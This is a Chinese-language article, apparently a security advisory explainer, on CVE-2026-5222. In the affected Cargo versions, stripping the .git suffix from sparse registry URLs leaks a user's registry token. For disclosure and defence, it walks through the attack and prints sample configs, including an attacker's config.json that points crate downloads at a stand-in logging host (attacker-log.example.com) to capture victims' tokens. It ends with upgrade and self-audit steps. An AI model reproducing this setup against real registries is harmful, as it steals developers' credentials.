Rust 安全响应团队近日披露了 CVE-2026-5222:Cargo 在处理 sparse registry URL 时,错误地将原本只适用于 git 协议的 .git 后缀剥离逻辑套用到了 HTTPS 端,导致在特定条件下攻击者可以窃取同一 registry 内其他用户的 Cargo 凭证。漏洞严重性评级为低——攻击前提极为苛刻,但理解其机制对维护私有 registry 的团队仍有价值。
从 git index 到 sparse index:一段遗留逻辑的旅程
Cargo 最初只支持 git 仓库存储 registry index。大多数 git 托管平台对 https://example.com/index 和 https://example.com/index.git 返回同一仓库,因此 Cargo 在归一化 URL 时会自动去掉 .git 后缀,让这两条 URL 共享同一组凭证。这在 git 协议下完全合理。
Rust 1.68 稳定了 sparse registry——index 不再是 git 仓库,而是直接托管在任意 HTTPS 服务器上的一组静态文件。问题在于:Cargo 没有为新协议重新审视归一化逻辑,.git 后缀剥离被原封不动地带到了 sparse index 的 URL 处理中。
对 HTTPS 服务器而言,/index 和 /index.git 是两条完全不同的路径,可能指向完全不同的内容。Cargo 却认为它们"本质上是同一个 registry",于是把 /index 的凭证也发给了 /index.git。
攻击路径拆解
要让攻击真正成立,需要同时满足以下条件:
https://example.com/index是一个 sparse registry,且允许 crate 依赖来自其他 registry 的 crate。- 攻击者能在
https://example.com/index上发布 crate。 - 攻击者能在
https://example.com/index.git上上传任意文件——这意味着同一域名下攻击者拥有另一个可控的路径或服务。 - 托管平台允许同一域名下以任意名称托管多个 registry。
满足这些条件后,攻击流程如下:
- 攻击者将
https://example.com/index.git配置为一个要求认证的 sparse registry,并将 crate 下载 URL 指向自己控制的记录服务器。 - 攻击者在
https://example.com/index上发布 cratefoo,令其依赖来自https://example.com/index.git的 cratebar。 - 诱使受害者下载
foo。Cargo 归一化后认为两个 URL 共享凭证,于是把受害者原本为https://example.com/index配置的 token 发送给https://example.com/index.git——凭证就此泄露到攻击者的记录服务器。
用一个最小化的 .cargo/config.toml 来还原场景结构:
# .cargo/config.toml — 受害者机器上的 registry 配置
[registry]
default = "my-company"
[registries.my-company]
index = "sparse+https://example.com/index/"
# 受害者为此 registry 配置了认证 token
# token = "cargo-login-xxx" (实际存储在 credentials.toml 中)
攻击者控制的 index.git 则指向完全不同的后端:
# 攻击者构造的 sparse+https://example.com/index.git/ 的 index 配置
# 该路径下的 config.json 内容(攻击者可上传任意文件):
{
"dl": "https://attacker-log.example.com/record/{crate}/{version}/download",
"auth-required": true
}
攻击者发布的 foo crate 依赖声明:
# foo 的 Cargo.toml — 攻击者在 my-company registry 上发布
[package]
name = "foo"
version = "0.1.0"
[dependencies]
bar = { version = "0.1.0", registry = "sparse+https://example.com/index.git" }
当受害者执行 cargo add foo --registry my-company 或构建依赖 foo 的项目时,Cargo 在归一化过程中将 index.git 的 URL 去掉 .git,匹配到 index 的凭证,于是用受害者的 token 去请求攻击者的 dl 服务器。
修复与版本影响
Rust 1.96(计划于 2026 年 5 月 28 日发布)中的 Cargo 将只对使用 git 协议的 registry URL 执行 .git 后缀剥离,sparse registry 的 HTTPS URL 不再被归一化。
受影响范围:Rust 1.68(sparse registry 稳定版本)至 1.95 之间所有 Cargo 版本。旧版本目前没有可用缓解措施——唯一的防护就是升级到 1.96+。
检查当前 Cargo 版本:
cargo --version
# 输出类似:cargo 1.85.0 (d73d2e9dd 2024-12-31)
# 对照 Rust 1.68 = cargo 1.68.0, Rust 1.96 = cargo 1.96.0
如果你维护私有 registry,可以立即做以下排查:
# 检查 credentials.toml 中为哪些 registry 配置了 token
cat ~/.cargo/credentials.toml
# 检查项目中是否引用了多个 registry
grep -r "registry\s*=" Cargo.toml
grep -r "index\s*=" .cargo/config.toml
私有 registry 运维者的自查清单
虽然攻击门槛极高,但如果你运营的是多租户 registry 平台(同一域名下托管多个独立 registry),值得逐项确认:
- 同一域名下是否存在路径仅差
.git后缀的两个 registry? 如果是,且其中一个允许任意用户发布 crate,应立即隔离或重命名路径。 - registry 是否允许 crate 跨 registry 依赖? 如果可以限制为仅依赖自身 registry 的 crate,攻击链的第一步就被切断。
.cargo/config.toml中indexURL 是否显式使用了sparse+协议前缀? 确认所有 sparse registry 的 URL 写法一致,避免隐式归一化带来意外匹配。- 升级计划: 将 CI 和开发环境的 Rust 工具链纳入 1.96 升级排期。由于旧版本无缓解措施,这是唯一的根本解决路径。
# 使用 rustup 升级到最新 nightly(1.96 稳定前可先验证修复行为)
rustup update nightly
cargo +nightly --version
# 锁定项目工具链为已修复版本(1.96 发布后)
# 在项目根目录执行:
rustup override set 1.96
一个 .git 后缀的归一化遗留,在 git index 时代是无害的便利,在 sparse index 时代却成了凭证泄露的缝隙。这类"协议迁移时未重新审视旧逻辑"的问题,在基础设施演进中并不罕见——每次扩展新协议,都值得回头检查每一层隐含假设是否仍然成立。